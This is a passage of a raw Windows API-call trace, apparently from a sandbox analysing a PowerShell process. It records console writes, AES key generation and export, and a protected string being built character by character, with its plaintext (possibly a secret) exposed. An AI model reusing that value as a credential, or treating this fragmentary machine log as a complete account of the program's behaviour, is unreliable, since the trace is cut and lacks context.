lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0243.494] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0243.494] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0243.494] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0243.495] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0243.496] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0243.496] GetConsoleOutputCP () returned 0x1b5 [0243.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0243.497] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0243.497] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0243.498] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23f94fc*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x23f94fc*, lpNumberOfCharsWritten=0x5a2e3e0*=0x3f) returned 1 [0243.498] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0243.499] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0243.500] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0243.500] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0243.501] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0243.502] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0243.502] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0243.502] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0243.503] GetConsoleOutputCP () returned 0x1b5 [0243.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.504] GetConsoleOutputCP () returned 0x1b5 [0243.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.504] GetConsoleOutputCP () returned 0x1b5 [0243.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.504] GetConsoleOutputCP () returned 0x1b5 [0243.505] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.505] GetConsoleOutputCP () returned 0x1b5 [0243.505] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.505] GetConsoleOutputCP () returned 0x1b5 [0243.506] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.506] GetConsoleOutputCP () returned 0x1b5 [0243.506] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.506] GetConsoleOutputCP () returned 0x1b5 [0243.508] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.508] GetConsoleOutputCP () returned 0x1b5 [0243.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.509] GetConsoleOutputCP () returned 0x1b5 [0243.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.509] GetConsoleOutputCP () returned 0x1b5 [0243.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.509] GetConsoleOutputCP () returned 0x1b5 [0243.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.510] GetConsoleOutputCP () returned 0x1b5 [0243.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.510] GetConsoleOutputCP () returned 0x1b5 [0243.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.510] GetConsoleOutputCP () returned 0x1b5 [0243.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.511] GetConsoleOutputCP () returned 0x1b5 [0243.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.511] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0243.512] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.512] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23f9e80*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x23f9e80*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0243.513] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.513] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0243.514] GetConsoleOutputCP () returned 0x1b5 [0243.514] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.514] GetConsoleOutputCP () returned 0x1b5 [0243.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.515] GetConsoleOutputCP () returned 0x1b5 [0243.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.515] GetConsoleOutputCP () returned 0x1b5 [0243.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.515] GetConsoleOutputCP () returned 0x1b5 [0243.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.516] GetConsoleOutputCP () returned 0x1b5 [0243.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.516] GetConsoleOutputCP () returned 0x1b5 [0243.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.516] GetConsoleOutputCP () returned 0x1b5 [0243.517] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.517] GetConsoleOutputCP () returned 0x1b5 [0243.517] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.517] GetConsoleOutputCP () returned 0x1b5 [0243.517] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.517] GetConsoleOutputCP () returned 0x1b5 [0243.518] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.518] GetConsoleOutputCP () returned 0x1b5 [0243.518] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.518] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0243.519] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.519] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23fa328*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x23fa328*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0243.520] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.520] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0243.521] GetConsoleOutputCP () returned 0x1b5 [0243.522] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.522] GetConsoleOutputCP () returned 0x1b5 [0243.522] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.522] GetConsoleOutputCP () returned 0x1b5 [0243.522] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.522] GetConsoleOutputCP () returned 0x1b5 [0243.523] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.523] GetConsoleOutputCP () returned 0x1b5 [0243.523] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.523] GetConsoleOutputCP () returned 0x1b5 [0243.523] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.523] GetConsoleOutputCP () returned 0x1b5 [0243.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.524] GetConsoleOutputCP () returned 0x1b5 [0243.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.524] GetConsoleOutputCP () returned 0x1b5 [0243.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.524] GetConsoleOutputCP () returned 0x1b5 [0243.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.525] GetConsoleOutputCP () returned 0x1b5 [0243.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.525] GetConsoleOutputCP () returned 0x1b5 [0243.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.526] GetConsoleOutputCP () returned 0x1b5 [0243.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.526] GetConsoleOutputCP () returned 0x1b5 [0243.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.526] GetConsoleOutputCP () returned 0x1b5 [0243.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.526] GetConsoleOutputCP () returned 0x1b5 [0243.527] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.527] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0243.527] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.527] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23fad38*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23fad38*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0243.528] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.528] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0243.529] EtwEventActivityIdControl () returned 0x0 [0243.529] EtwEventActivityIdControl () returned 0x0 [0243.529] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.530] EtwEventActivityIdControl () returned 0x0 [0243.530] EtwEventActivityIdControl () returned 0x0 [0243.530] EtwEventActivityIdControl () returned 0x0 [0243.532] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.532] EtwEventActivityIdControl () returned 0x0 [0243.532] EtwEventActivityIdControl () returned 0x0 [0243.532] EtwEventActivityIdControl () returned 0x0 [0243.534] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x372ac8) returned 1 [0243.535] CryptGenKey (in: hProv=0x372ac8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68b80) returned 1 [0243.536] CryptContextAddRef (hProv=0x372ac8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.536] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.536] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2402704, pdwDataLen=0x5a2e8c4 | out: pbData=0x2402704*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.536] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.537] EtwEventActivityIdControl () returned 0x0 [0243.537] EtwEventActivityIdControl () returned 0x0 [0243.537] EtwEventActivityIdControl () returned 0x0 [0243.537] SysStringLen (param_1="") returned 0x8 [0243.538] SysStringLen (param_1="R") returned 0x8 [0243.538] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.538] SysStringLen (param_1="Ⳮᶆ㍨鮣骩콓ほ挥") returned 0x8 [0243.538] SysStringLen (param_1="Ⳮᶆ㍨鮣骩콓ほ挥") returned 0x8 [0243.538] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.538] SysStringLen (param_1="RE") returned 0x8 [0243.538] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.538] SysStringLen (param_1="⛣鲐䊂㶠찾擠↑̳") returned 0x8 [0243.538] SysStringLen (param_1="⛣鲐䊂㶠찾擠↑̳") returned 0x8 [0243.538] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.538] SysStringLen (param_1="RE/") returned 0x8 [0243.538] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.538] SysStringLen (param_1="㟫ᗴ溏ﮐ㉃蘾隩") returned 0x8 [0243.539] SysStringLen (param_1="㟫ᗴ溏ﮐ㉃蘾隩") returned 0x8 [0243.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.539] SysStringLen (param_1="RE/9") returned 0x8 [0243.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.539] SysStringLen (param_1="结鏑\௛팽葮瀤驵≛) returned 0x8 [0243.539] SysStringLen (param_1="结鏑\௛팽葮瀤驵≛) returned 0x8 [0243.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.539] SysStringLen (param_1="RE/96") returned 0x8 [0243.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.539] SysStringLen (param_1="䨼눳㳭聤맙ᑱ⚉ᢵ") returned 0x8 [0243.539] SysStringLen (param_1="䨼눳㳭聤맙ᑱ⚉ᢵ") returned 0x8 [0243.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.539] SysStringLen (param_1="RE/964") returned 0x8 [0243.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.540] SysStringLen (param_1="ᯩই듏ᑫ飘꺒Νퟌ") returned 0x8 [0243.540] SysStringLen (param_1="ᯩই듏ᑫ飘꺒Νퟌ") returned 0x8 [0243.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.540] SysStringLen (param_1="RE/964N") returned 0x8 [0243.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.540] SysStringLen (param_1="椡揇竜㯹䫦飚宲") returned 0x8 [0243.540] SysStringLen (param_1="椡揇竜㯹䫦飚宲") returned 0x8 [0243.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.540] SysStringLen (param_1="RE/964Nv") returned 0x8 [0243.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.540] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡") returned 0x8 [0243.541] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡") returned 0x8 [0243.541] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡") returned 0x8 [0243.541] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡") returned 0x10 [0243.541] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.541] SysStringLen (param_1="RE/964NvN\髝ꝩ吶쓴妯驨≴) returned 0x10 [0243.541] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.542] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡辕텱嶉﨟쓡仍買") returned 0x10 [0243.542] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡辕텱嶉﨟쓡仍買") returned 0x10 [0243.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.542] SysStringLen (param_1="RE/964NvNH榚㚧꿄桙璚") returned 0x10 [0243.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.542] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡\⿞梁歚椙㽥ᆈ忾⊅) returned 0x10 [0243.542] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡\⿞梁歚椙㽥ᆈ忾⊅) returned 0x10 [0243.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.542] SysStringLen (param_1="RE/964NvNHp㚧꿄桙璚") returned 0x10 [0243.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.542] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡㝧糎쉱㊼ㄧ빹爝市") returned 0x10 [0243.542] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡㝧糎쉱㊼ㄧ빹爝市") returned 0x10 [0243.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.543] SysStringLen (param_1="RE/964NvNHpw꿄桙璚") returned 0x10 [0243.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.543] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡镹왢쳝\囘၀癊∡) returned 0x10 [0243.543] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡镹왢쳝\囘၀癊∡) returned 0x10 [0243.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.543] SysStringLen (param_1="RE/964NvNHpwH꿄桙璚") returned 0x10 [0243.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.543] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡\食Ğ䰉鄦ࣙΊ완∓) returned 0x10 [0243.543] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡\食Ğ䰉鄦ࣙΊ완∓) returned 0x10 [0243.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.543] SysStringLen (param_1="RE/964NvNHpwHz桙璚") returned 0x10 [0243.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.544] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡\쿣뜠౧本툀∨) returned 0x10 [0243.544] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡\쿣뜠౧本툀∨) returned 0x10 [0243.544] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.544] SysStringLen (param_1="RE/964NvNHpwHzb璚") returned 0x10 [0243.544] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.544] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡걭탢䴭䟿ᆶꮠ媭") returned 0x10 [0243.544] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡걭탢䴭䟿ᆶꮠ媭") returned 0x10 [0243.544] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.544] SysStringLen (param_1="RE/964NvNHpwHzbe") returned 0x10 [0243.544] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.544] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄") returned 0x10 [0243.545] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄") returned 0x10 [0243.545] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄") returned 0x10 [0243.545] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄") returned 0x18 [0243.545] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.545] SysStringLen (param_1="RE/964NvNHpwHzbeS\诚ᘃ\돜祗婷㕒") returned 0x18 [0243.545] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.545] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄濠뻈㊕췾ႎ⍁䧑") returned 0x18 [0243.545] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄濠뻈㊕췾ႎ⍁䧑") returned 0x18 [0243.545] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.545] SysStringLen (param_1="RE/964NvNHpwHzbeSu΋蠖돜祗婷㕒") returned 0x18 [0243.546] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.546] SysStringLen 